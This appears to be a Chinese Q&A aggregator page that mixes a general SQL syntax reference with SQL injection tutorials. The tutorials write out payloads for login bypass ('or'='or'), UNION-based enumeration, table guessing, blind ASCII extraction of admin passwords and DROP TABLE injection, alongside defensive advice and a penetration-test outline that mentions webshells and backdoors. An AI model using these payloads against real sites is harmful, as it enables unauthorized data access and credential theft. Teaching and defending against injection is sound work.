當前位置:首頁 » 編程語言 » SQL漏洞挖掘常用語句
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

SQL漏洞挖掘常用語句

發布時間: 2022-04-26 19:20:13

sql注入攻擊的種類和防範手段有哪些

暈,這不是C#考題嗎。
SQL注入攻擊的種類

知彼知己,方可取勝。首先要清楚SQL注入攻擊有哪些種類。

1.沒有正確過濾轉義字元

在用戶的輸入沒有為轉義字元過濾時,就會發生這種形式的注入式攻擊,它會被傳遞給一個SQL語句。這樣就會導致應用程序的終端用戶對資料庫上的語句實施操縱。比方說,下面的這行代碼就會演示這種漏洞:

statement := "SELECT * FROM users WHERE name = '" + userName + "'; "

這種代碼的設計目的是將一個特定的用戶從其用戶表中取出,但是,如果用戶名被一個惡意的用戶用一種特定的方式偽造,這個語句所執行的操作可能就不僅僅是代碼的作者所期望的那樣了。例如,將用戶名變數(即username)設置為:

a' or 't'='t,此時原始語句發生了變化:

SELECT * FROM users WHERE name = 'a' OR 't'='t';

如果這種代碼被用於一個認證過程,那麼這個例子就能夠強迫選擇一個合法的用戶名,因為賦值't'='t永遠是正確的。

在一些SQL伺服器上,如在SQLServer中,任何一個SQL命令都可以通過這種方法被注入,包括執行多個語句。下面語句中的username的值將會導致刪除「users」表,又可以從「data」表中選擇所有的數據(實際上就是透露了每一個用戶的信息)。

a'; DROP TABLE users; SELECT * FROM data WHERE name LIKE '%

這就將最終的SQL語句變成下面這個樣子:

SELECT * FROM users WHERE name = 'a'; DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%';

其它的SQL執行不會將執行同樣查詢中的多個命令作為一項安全措施。這會防止攻擊者注入完全獨立的查詢,不過卻不會阻止攻擊者修改查詢。

2.Incorrect type handling

如果一個用戶提供的欄位並非一個強類型,或者沒有實施類型強制,就會發生這種形式的攻擊。當在一個SQL語句中使用一個數字欄位時,如果程序員沒有檢查用戶輸入的合法性(是否為數字型)就會發生這種攻擊。例如:

statement := "SELECT * FROM data WHERE id = " + a_variable + "; "

從這個語句可以看出,作者希望a_variable是一個與「id」欄位有關的數字。不過,如果終端用戶選擇一個字元串,就繞過了對轉義字元的需要。例 如,將a_variable設置為:1; DROP TABLE users,它會將「users」表從資料庫中刪除,SQL語句變成:SELECT * FROM DATA WHERE id = 1; DROP TABLE users;

3.資料庫伺服器中的漏洞

有時,資料庫伺服器軟體中也存在著漏洞,如MYSQL伺服器中mysql_real_escape_string()函數漏洞。這種漏洞允許一個攻擊者根據錯誤的統一字元編碼執行一次成功的SQL注入式攻擊。

4.盲目SQL注入式攻擊

當一個Web應用程序易於遭受攻擊而其結果對攻擊者卻不見時,就會發生所謂的盲目SQL注入式攻擊。有漏洞的網頁可能並不會顯示數據,而是根據注入到合法 語句中的邏輯語句的結果顯示不同的內容。這種攻擊相當耗時,因為必須為每一個獲得的位元組而精心構造一個新的語句。但是一旦漏洞的位置和目標信息的位置被確 立以後,一種稱為Absinthe的工具就可以使這種攻擊自動化。

5.條件響應

注意,有一種SQL注入迫使資料庫在一個普通的應用程序屏幕上計算一個邏輯語句的值:

SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1

這會導致一個標準的面面,而語句

SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2在頁面易於受到SQL注入式攻擊時,它有可能給出一個不同的結果。如此這般的一次注入將會證明盲目的SQL注入是可能的,它會使攻擊者根據另外一個 表中的某欄位內容設計可以評判真偽的語句。

6.條件性差錯

如果WHERE語句為真,這種類型的盲目SQL注入會迫使資料庫評判一個引起錯誤的語句,從而導致一個SQL錯誤。例如:

SELECT 1/0 FROM users WHERE username='Ralph'。顯然,如果用戶Ralph存在的話,被零除將導致錯誤。

7.時間延誤

時間延誤是一種盲目的SQL注入,根據所注入的邏輯,它可以導致SQL引擎執行一個長隊列或者是一個時間延誤語句。攻擊者可以衡量頁面載入的時間,從而決定所注入的語句是否為真。

以上僅是對SQL攻擊的粗略分類。但從技術上講,如今的SQL注入攻擊者們在如何找出有漏洞的網站方面更加聰明,也更加全面了。出現了一些新型的SQL攻 擊手段。黑客們可以使用各種工具來加速漏洞的利用過程。我們不妨看看the Asprox Trojan這種木馬,它主要通過一個發布郵件的僵屍網路來傳播,其整個工作過程可以這樣描述:首先,通過受到控制的主機發送的垃圾郵件將此木馬安裝到電 腦上,然後,受到此木馬感染的電腦會下載一段二進制代碼,在其啟動時,它會使用搜索引擎搜索用微軟的ASP技術建立表單的、有漏洞的網站。搜索的結果就成 為SQL注入攻擊的靶子清單。接著,這個木馬會向這些站點發動SQL注入式攻擊,使有些網站受到控制、破壞。訪問這些受到控制和破壞的網站的用戶將會受到 欺騙,從另外一個站點下載一段惡意的JavaScript代碼。最後,這段代碼將用戶指引到第三個站點,這里有更多的惡意軟體,如竊取口令的木馬。

以前,我們經常警告或建議Web應用程序的程序員們對其代碼進行測試並打補丁,雖然SQL注入漏洞被發現和利用的機率並不太高。但近來攻擊者們越來越多地 發現並惡意地利用這些漏洞。因此,在部署其軟體之前,開發人員應當更加主動地測試其代碼,並在新的漏洞出現後立即對代碼打補丁。

防禦和檢查SQL注入的手段

1.使用參數化的過濾性語句

要防禦SQL注入,用戶的輸入就絕對不能直接被嵌入到SQL語句中。恰恰相反,用戶的輸入必須進行過濾,或者使用參數化的語句。參數化的語句使用參數而不 是將用戶輸入嵌入到語句中。在多數情況中,SQL語句就得以修正。然後,用戶輸入就被限於一個參數。下面是一個使用Java和JDBC API例子:

PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE PASSWORD=?");

prep.setString(1, pwd);

總體上講,有兩種方法可以保證應用程序不易受到SQL注入的攻擊,一是使用代碼復查,二是強迫使用參數化語句的。強迫使用參數化的語句意味著嵌入用戶輸入的SQL語句在運行時將被拒絕。不過,目前支持這種特性的並不多。如H2 資料庫引擎就支持。

2.還要避免使用解釋程序,因為這正是黑客們藉以執行非法命令的手段。

3.防範SQL注入,還要避免出現一些詳細的錯誤消息,因為黑客們可以利用這些消息。要使用一種標準的輸入確認機制來驗證所有的輸入數據的長度、類型、語句、企業規則等。

4.使用專業的漏洞掃描工具。但防禦SQL注入攻擊也是不夠的。攻擊者們目前正在自動搜索攻擊目標並實施攻擊。其技術甚至可以輕易地被應用於其它的Web 架構中的漏洞。企業應當投資於一些專業的漏洞掃描工具,如大名鼎鼎的Acunetix的Web漏洞掃描程序等。一個完善的漏洞掃描程序不同於網路掃描程 序,它專門查找網站上的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發現的漏洞。

5.最後一點,企業要在Web應用程序開發過程的所有階段實施代碼的安全檢查。首先,要在部署Web應用之前實施安全測試,這種措施的意義比以前更大、更深遠。企業還應當在部署之後用漏洞掃描工具和站點監視工具對網站進行測試。

Web安全拉警報已經響起,安全形式異常嚴峻,企業絕對不應當草率從事。安全重於泰山!

② 手動sql注入常用的語句有哪些

1.判斷有無注入點
; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判斷是否存在admin這張表
3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解欄位名稱 在len( ) 括弧裡面加上我們想到的欄位名稱.

③ 簡單分析什麼是SQL注入漏洞

SQL是操作資料庫數據的結構化查詢語言,網頁的應用數據和後台資料庫中的數據進行交互時會採用SQL。
SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令。它是利用現有應用程序,將惡意的SQL命令注入到後台資料庫引擎執行的能力,它可以通過在Web表單中輸入SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。

④ SQL 資料庫中常用的一些語句。。。歸類下

一、基礎
1、說明:創建資料庫
CREATE DATABASE database-name
2、說明:刪除資料庫
drop database dbname
3、說明:備份sql server
--- 創建 備份數據的 device
USE master
EXEC sp_admpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'
--- 開始 備份
BACKUP DATABASE pubs TO testBack
4、說明:創建新表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根據已有的表創建新表:
A:create table tab_new like tab_old (使用舊表創建新表)
B:create table tab_new as select col1,col2... from tab_old definition only
5、說明:刪除新表
drop table tabname
6、說明:增加一個列
Alter table tabname add column col type
註:列增加後將不能刪除。DB2中列加上後數據類型也不能改變,唯一能改變的是增加varchar類型的長度。
7、說明:添加主鍵: Alter table tabname add primary key(col)
說明:刪除主鍵: Alter table tabname drop primary key(col)
8、說明:創建索引:create [unique] index idxname on tabname(col....)
刪除索引:drop index idxname
註:索引是不可更改的,想更改必須刪除重新建。
9、說明:創建視圖:create view viewname as select statement
刪除視圖:drop view viewname
10、說明:幾個簡單的基本的sql語句
選擇:select * from table1 where 范圍
插入:insert into table1(field1,field2) values(value1,value2)
刪除:delete from table1 where 范圍
更新:update table1 set field1=value1 where 范圍
查找:select * from table1 where field1 like '%value1%' ---like的語法很精妙,查資料!
排序:select * from table1 order by field1,field2 [desc]
總數:select count as totalcount from table1
求和:select sum(field1) as sumvalue from table1
平均:select avg(field1) as avgvalue from table1
最大:select max(field1) as maxvalue from table1
最小:select min(field1) as minvalue from table1
11、說明:幾個高級查詢運算詞
A: UNION 運算符
UNION 運算符通過組合其他兩個結果表(例如 TABLE1 和 TABLE2)並消去表中任何重復行而派生出一個結果表。當 ALL 隨 UNION 一起使用時(即 UNION ALL),不消除重復行。兩種情況下,派生表的每一行不是來自 TABLE1 就是來自 TABLE2。
B: EXCEPT 運算符
EXCEPT 運算符通過包括所有在 TABLE1 中但不在 TABLE2 中的行並消除所有重復行而派生出一個結果表。當 ALL 隨 EXCEPT 一起使用時 (EXCEPT ALL),不消除重復行。
C: INTERSECT 運算符
INTERSECT 運算符通過只包括 TABLE1 和 TABLE2 中都有的行並消除所有重復行而派生出一個結果表。當 ALL 隨 INTERSECT 一起使用時 (INTERSECT ALL),不消除重復行。
註:使用運算詞的幾個查詢結果行必須是一致的。
12、說明:使用外連接
A、left outer join:
左外連接(左連接):結果集幾包括連接表的匹配行,也包括左連接表的所有行。
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
B:right outer join:
右外連接(右連接):結果集既包括連接表的匹配連接行,也包括右連接表的所有行。
C:full outer join:
全外連接:不僅包括符號連接表的匹配行,還包括兩個連接表中的所有記錄。
二、提升
1、說明:復製表(只復制結構,源表名:a 新表名:b) (Access可用)
法一:select * into b from a where 1<>1
法二:select top 0 * into b from a
2、說明:拷貝表(拷貝數據,源表名:a 目標表名:b) (Access可用)
insert into b(a, b, c) select d,e,f from b;
3、說明:跨資料庫之間表的拷貝(具體數據使用絕對路徑) (Access可用)
insert into b(a, b, c) select d,e,f from b in '具體資料庫' where 條件
例子:..from b in '"&Server.MapPath(".")&"\data.mdb" &"' where..
4、說明:子查詢(表名1:a 表名2:b)
select a,b,c from a where a IN (select d from b ) 或者: select a,b,c from a where a IN (1,2,3)
5、說明:顯示文章、提交人和最後回復時間
select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b
6、說明:外連接查詢(表名1:a 表名2:b)
select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
7、說明:在線視圖查詢(表名1:a )
select * from (SELECT a,b,c FROM a) T where t.a > 1;
8、說明:between的用法,between限制查詢數據范圍時包括了邊界值,not between不包括
select * from table1 where time between time1 and time2
select a,b,c, from table1 where a not between 數值1 and 數值2
9、說明:in 的使用方法
select * from table1 where a [not] in ('值1','值2','值4','值6')
10、說明:兩張關聯表,刪除主表中已經在副表中沒有的信息
delete from table1 where not exists ( select * from table2 where table1.field1=table2.field1 )
11、說明:四表聯查問題:
select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....
12、說明:日程安排提前五分鍾提醒
SQL: select * from 日程安排 where datediff('minute',f開始時間,getdate())>5
13、說明:一條sql 語句搞定資料庫分頁
select top 10 b.* from (select top 20 主鍵欄位,排序欄位 from 表名 order by 排序欄位 desc) a,表名 b where b.主鍵欄位 = a.主鍵欄位 order by a.排序欄位
14、說明:前10條記錄
select top 10 * form table1 where 范圍
15、說明:選擇在每一組b值相同的數據中對應的a最大的記錄的所有信息(類似這樣的用法可以用於論壇每月排行榜,每月熱銷產品分析,按科目成績排名,等等.)
select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)
16、說明:包括所有在 TableA 中但不在 TableB和TableC 中的行並消除所有重復行而派生出一個結果表
(select a from tableA ) except (select a from tableB) except (select a from tableC)
17、說明:隨機取出10條數據
select top 10 * from tablename order by newid()

19、說明:刪除重復記錄
Delete from tablename where id not in (select max(id) from tablename group by col1,col2,...)
20、說明:列出資料庫里所有的表名
select name from sysobjects where type='U'

23、說明:初始化表table1
TRUNCATE TABLE table1
24、說明:選擇從10到15的記錄
select top 5 * from (select top 15 * from table order by id asc) table_別名 order by id desc

⑤ sql注入攻擊,除了注入select語句外,還可以注入哪些語句

Insert、Update、Delete、Drop等都可以

例:參數id=張三';Delete From myTable where '1'='1
程序中SQL語句:strSql="Select * From myTable where name='" + strName + "'"

最終strSql中的語句就成了:Select * From myTable where name='張三';Delete From myTable where '1'='1'

⑥ 常用SQL語句大全

常用的也好多啊,更多主到:
http://dev.yesky.com/msdn/433/7573933.shtml
--數據操作
SELECT
--從資料庫表中檢索數據行和列
INSERT
--向資料庫表添加新數據行
DELETE
--從資料庫表中刪除數據行
UPDATE
--更新資料庫表中的數據
--數據定義
CREATE
TABLE
--創建一個資料庫表
DROP
TABLE
--從資料庫中刪除表
ALTER
TABLE
--修改資料庫表結構
CREATE
VIEW
--創建一個視圖
DROP
VIEW
--從資料庫中刪除視圖
CREATE
INDEX
--為資料庫表創建一個索引
DROP
INDEX
--從資料庫中刪除索引
CREATE
PROCEDURE
--創建一個存儲過程
DROP
PROCEDURE
--從資料庫中刪除存儲過程
CREATE
TRIGGER
--創建一個觸發器
DROP
TRIGGER
--從資料庫中刪除觸發器
CREATE
SCHEMA
--向資料庫添加一個新模式
DROP
SCHEMA
--從資料庫中刪除一個模式
CREATE
DOMAIN
--創建一個數據值域
ALTER
DOMAIN
--改變域定義
DROP
DOMAIN
--從資料庫中刪除一個域
--數據控制
GRANT
--授予用戶訪問許可權
DENY
--拒絕用戶訪問
REVOKE
--解除用戶訪問許可權
--事務控制
COMMIT
--結束當前事務
ROLLBACK
--中止當前事務
SET
TRANSACTION
--定義當前事務數據訪問特徵
--程序化SQL
DECLARE
--為查詢設定游標
EXPLAN
--為查詢描述數據訪問計劃
OPEN
--檢索查詢結果打開一個游標
FETCH
--檢索一行查詢結果
CLOSE
--關閉游標
PREPARE
--為動態執行准備SQL
語句
EXECUTE
--動態地執行SQL
語句
DESCRIBE
--描述准備好的查詢
---局部變數
declare
@id
char(10)
--set
@id
=
'10010001'
select
@id
=
'10010001'
---全局變數
---必須以@@開頭
--IF
ELSE

⑦ 一個完整的滲透測試流程,分為那幾塊,每一塊有哪些內容

包含以下幾個流程:

信息收集

第一步做的就是信息收集,根據網站URL可以查出一系列關於該網站的信息。通過URL我們可以查到該網站的IP、該網站操作系統、腳本語言、在該伺服器上是否還有其他網站等等一些列的信息。

漏洞探測

當我們收集到了足夠多的信息之後,我們就要開始對網站進行漏洞探測了。探測網站是否存在一些常見的Web漏洞,比如:SQL注入 。

漏洞利用

探測到了該網站存在漏洞之後,就要對該漏洞進行利用了。不同的漏洞有不同的利用工具,很多時候,通過一個漏洞我們很難拿到網站的webshell,我們往往需要結合幾個漏洞來拿webshell。

內網滲透

當我們能跟內網主機進行通信後,我們就要開始進行內網滲透了。可以先使用nmap對內網主機進行掃描,探測在線的主機,並且探測其使用的操作系統、開放的埠等信息。

內網中也有可能存在供內網使用的內網伺服器,可以進一步滲透拿下其許可權。

痕跡清除

達到了目的之後,有時候只是為了黑入網站掛黑頁,炫耀一下;或者在網站留下一個後門,作為肉雞,沒事的時候上去溜達溜達;亦或者掛入挖礦木馬。

撰寫滲透測試保告

在完成了滲透測試之後,就需要對這次滲透測試撰寫滲透測試報告了。明確的寫出哪裡存在漏洞,以及漏洞修補的方法。以便於網站管理員根據我們的滲透測試報告修補這些漏洞和風險,防止被黑客攻擊。

⑧ SQL語句大全的基礎

創建之前判斷該資料庫是否存在
if exists (select * from sysdatabases where name='databaseName')
drop database databaseName
go
Create DATABASE databasename
on primary-- 默認就屬於primary文件組,可省略

/*--數據文件的具體描述--*/
name=『databasename_data』,-- 主數據文件的邏輯名稱
filename=『'所存位置:databasename_data.mdf』, -- 主數據文件的物理名稱
size=數值mb, --主數據文件的初始大小
maxsize=數值mb, -- 主數據文件增長的最大值
filegrowth=數值%--主數據文件的增長率

log on

/*--日誌文件的具體描述,各參數含義同上--*/
name='databasename_log', -- 日誌文件的邏輯名稱
filename='所存目錄:databasename_log.ldf', -- 日誌文件的物理名稱
size=數值mb, --日誌文件的初始大小
filegrowth=數值mb--日誌文件的增長值
) --- 創建備份數據的 device
USE master
EXEC sp_admpdevice 'disk', 'testBack', 'c:mssql7backupMyNwind_1.dat'
--- 開始備份
BACKUP DATABASE pubs TO testBack create table tabname(col1 type1 [not null] [primary key] identity(起始值,遞增量)
,col2 type2 [not null],..)--primary key為主鍵 identity表示遞增數量
根據已有的表創建新表:
A:go
use 原資料庫名
go
select * into 目的資料庫名.dbo.目的表名 from 原表名(使用舊表創建新表)
B:create table tab_new as select col1,col2… from tab_old definition only create sequence SIMON_SEQUENCE
minvalue 1 -- 最小值
maxvalue 999999999999999999999999999 -- 最大值
start with 1 -- 開始值
increment by 1 -- 每次加幾
cache 20; Alter table tabname add primary key(col)
說明:刪除主鍵:Alter table tabname drop primary key(col) create [unique] index idxname on tabname(col…。)
刪除索引:drop index idxname on tabname
註:索引是不可更改的,想更改必須刪除重新建。 create view viewname as select statement
刪除視圖:drop view viewname (1) 數據記錄篩選:
sql=select * from 數據表 where欄位名=欄位值 order by欄位名[desc](按某個欄位值降序排列。默認升序ASC)
sql=select * from 數據表 where欄位名like '%欄位值%' order by 欄位名 [desc]
sql=select top 10 * from 數據表 where欄位名=欄位值 order by 欄位名 [desc]
sql=select top 10 * from 數據表 order by 欄位名 [desc]
sql=select * from 數據表 where欄位名in ('值1','值2','值3')
sql=select * from 數據表 where欄位名between 值1 and 值2
(2) 更新數據記錄:
sql=update 數據表 set欄位名=欄位值 where 條件表達式
sql=update 數據表 set 欄位1=值1,欄位2=值2 …… 欄位n=值n where 條件表達式
(3) 刪除數據記錄:
sql=delete from 數據表 where 條件表達式
sql=delete from 數據表 (將數據表所有記錄刪除)
(4) 添加數據記錄:
sql=insert into 數據表 (欄位1,欄位2,欄位3 …) values (值1,值2,值3 …)
sql=insert into 目標數據表 select * from 源數據表 (把源數據表的記錄添加到目標數據表)
(5) 數據記錄統計函數:
AVG(欄位名) 得出一個表格欄平均值
COUNT(*;欄位名) 對數據行數的統計或對某一欄有值的數據行數統計
MAX(欄位名) 取得一個表格欄最大的值
MIN(欄位名) 取得一個表格欄最小的值
SUM(欄位名) 把數據欄的值相加
引用以上函數的方法:
sql=select sum(欄位名) as 別名 from 數據表 where 條件表達式
set rs=conn.excute(sql)
用 rs(別名) 獲取統計的值,其它函數運用同上。
查詢去除重復值:select distinct * from table1
(6) 數據表的建立和刪除:
CREATE TABLE 數據表名稱(欄位1 類型1(長度),欄位2 類型2(長度) …… )
(7) 單列求和:
SELECT SUM(欄位名) FROM 數據表

⑨ 搜集SQL常用的操作語句

結構化查詢語言(Structured Query Language)簡稱SQL(發音:/ˈes kjuː ˈel/ "S-Q-L"),是一種特殊目的的編程語言,是一種資料庫查詢和程序設計語言,用於存取數據以及查詢、更新和管理關系資料庫系統;同時也是資料庫腳本文件的擴展名。

一、插入(復制)表數據

1、INSERT INTO 語句:

(1)插入新的一行數

[sql] view plain ;

INSERT INTO Persons VALUES ('Gates', 'Bill', 'Xuanwumen 10', 'Beijing');

(2)在指定的列中插入數據

[sql] view plain ;

INSERT INTO Persons (LastName, Address) VALUES ('Wilson', 'Champs-Elysees');

2、SQL SELECT INTO 語句可用於創建表的備份復件

(1)在建表時復制所有數據

[sql] view plain ;

create table userinfo_new as select * from userinfo;

(2)在建表時復制部分數據

[sql] view plain ;

create table userinfo_new1 as select id,username from userinfo;

(3)在添加時復制所有數據

[sql] view plain ;

insert into userinfo_new select * from userinfo;

(4)在添加時復制部分數據

[sql] view plain ;

insert into userinfo_new(id,username) select id,username from userinfo;

二、修改表數據

Update 語句

(1)無條件更新

[sql] view plain ;

update userinfo set userpwd='111',email='[email protected]';

(2)有條件更新

[sql] view plain ;

update userinfo set userpwd='123456' where username='xxx';

三、刪除表數據

1、DELETE 語句

(1)無條件刪除

[sql]view plain;

daletefromuserinfo;

(2)有條件刪除

[sql]view plain;

='yyy';

四、查詢表數據

1、SELECT 語句:

(1)查詢所有欄位

[sql] view plain ;

select * from users;

(2)查詢指定欄位

[sql] view plain ;

select username,salary from users;

2、SELECT DISTINCT 語句

從 Company" 列中僅選取唯一不同的值,需要使用 SELECT DISTINCT 語句:

[sql] view plain ;

SELECT DISTINCT Company FROM Orders;

⑩ 請問這條SQL語句存在哪些SQL注入漏洞請把能用於攻擊的SQL語句羅列出來,謝謝了

網路上有啊
http://ke..com/link?url=_-BIGw0r3arTOyiAK
方法1
先猜表名
And (Select count(*) from 表名)<>0
猜列名
And (Select count(列名) from 表名)<>0
或者也可以這樣
and exists (select * from 表名)
and exists (select 列名 from 表名)
返回正確的,那麼寫的表名或列名就是正確
這里要注意的是,exists這個不能應用於猜內容上,例如and exists (select len(user) from admin)>3 這樣是不行的
很多人都是喜歡查詢裡面的內容,一旦iis沒有關閉錯誤提示的,那麼就可以利用報錯方法輕松獲得庫裡面的內容
獲得資料庫連接用戶名:;and user>0
這個是小竹提出來的,我這里引用《SQL注入天書》裡面的一段話來講解:
"重點在and user>0,我們知道,user是SQLServer的一個內置變數,它的值是當前連接的用戶名,類型為nvarchar。拿一個 nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar轉換int異常,XXXX不能轉換成int"
看到這里大家明白了吧,報錯的原理就是利用SQLserver內置的系統表進行轉換查詢,轉換過程會出錯,然後就會顯示出在網頁上,另外還有類似的and 1=(selet top 1 user from admin),這種語句也是可以爆出來的。;and db_name()>0 則是暴資料庫名。
一旦關閉了IIS報錯,那麼還可以用union(聯合查詢)來查內容,主要語句就是
Order by 10
And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
上面的order by 10主要就是查欄位數目,admin就是表名,可以自己猜,user,passwd是列名
反正就是返回正確即對,返回異常即錯
另外還有十分常用的ASCII碼拆半法
先要知道指定列名,例如user里的內容的長度
and (select len(user) from admin)=2 就是查詢長度為不為2位,返回錯誤的增加或減少數字,一般這個數字不會太大,太大的就要放棄了,猜也多餘
後面的邏輯符號可以根據不同要求更改的,
>;大於 <;小於 =就是等於咯,更新語句的話,=也可以表示傳遞符號 <>;就是不等
知道了長度後就可以開始猜解了
And (Select top 1 asc(mid(user,n,1)) from admin)>100
n就是猜解的表名的第幾位,最後的長度數字就是剛才猜解出來的列名長度了,And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里內容的第一位的ASCII字元是不是大於100
正確的話,那麼表示USER第一個字元的ASCII碼大於100,那麼就猜>120,返回錯誤就是介於100-120之間,然後再一步一步的縮少,最終得到正確字元XXX,然後用ASCII轉換器吧這個轉換成普通字元就可以了
然後就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去
加在url後面,列名表名還是先猜解,返回正確的代表帳號的ASCII碼大於100,那麼就再向前猜,直到報錯,把猜出來的ASCII碼拿去ASCII轉換器轉換就可以了,中文是負數,加上asb取絕對值
And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320
得到之後就記得在數字前加-號,不然ASCII轉換器轉換不來的,中文在ASCII碼里是-23423這樣的,所以猜起來挺麻煩
這個猜解速度比較慢,但是效果最好,最具有廣泛性

sql注入方法2
後台身份驗證繞過漏洞
驗證繞過漏洞就是'or'='or'後台繞過漏洞,利用的就是AND和OR的運算規則,從而造成後台腳本邏輯性錯誤
例如管理員的賬號密碼都是admin,那麼再比如後台的資料庫查詢語句是
user=request("user")
passwd=request("passwd")
sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''
那麼我使用'or 'a'='a來做用戶名密碼的話,那麼查詢就變成了
select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
這樣的話,根據運算規則,這里一共有4個查詢語句,那麼查詢結果就是 假or真and假or真,先算and 再算or,最終結果為真,這樣就可以進到後台了
這種漏洞存在必須要有2個條件,第一個:在後台驗證代碼上,賬號密碼的查詢是要同一條查詢語句,也就是類似
sql="select * from admin where username='"&username&'&"passwd='"&passwd&'
如果一旦賬號密碼是分開查詢的,先查帳號,再查密碼,這樣的話就沒有辦法了。
第二就是要看密碼加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一種條件有沒有可以,沒有達到第一種條件的話,那就沒有戲了

sql注入方法3
防禦方法
對於怎麼防禦SQL注入呢,這個網上很多,我這里講幾個
如果自己編寫防注代碼,一般是先定義一個函數,再在裡面寫入要過濾的關鍵詞,如select ; 「」;from;等,這些關鍵詞都是查詢語句最常用的詞語,一旦過濾了,那麼用戶自己構造提交的數據就不會完整地參與資料庫的操作。
當然如果你的網站提交的數據全部都是數字的,可以使用小竹提供的方法
Function SafeRequest(ParaName,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字元型
'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字元)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數" & ParaName & "必須為數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
然後就用SafeRequest()來過濾參數 ,檢查參數是否為數字,不是數字的就不能通過。

sql注入小結
SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據,是高手與「菜鳥」的根本區別。